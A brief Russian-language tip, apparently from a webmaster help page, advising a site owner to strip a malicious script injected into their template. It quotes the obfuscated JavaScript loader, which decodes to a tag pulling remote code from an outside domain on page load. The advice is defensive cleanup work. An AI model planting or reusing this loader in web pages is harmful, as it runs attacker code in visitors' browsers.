Вы должны удалить вредоносный код, вшитый в ваш шаблон. С помощью быстрой замены удалить скрипт
<script type="text/javascript">
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document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%3C%21%2D%2D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%76%61%74%61%72%69%61%2D%76%6B%6F%6E%74%61%6B%74%65%2E%72%75%2F%6A%73%2F%73%69%74%65%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%29%3B%0A%2F%2F%2D%2D%3E%0A%3C%2F%73%63%72%69%70%74%3E'));
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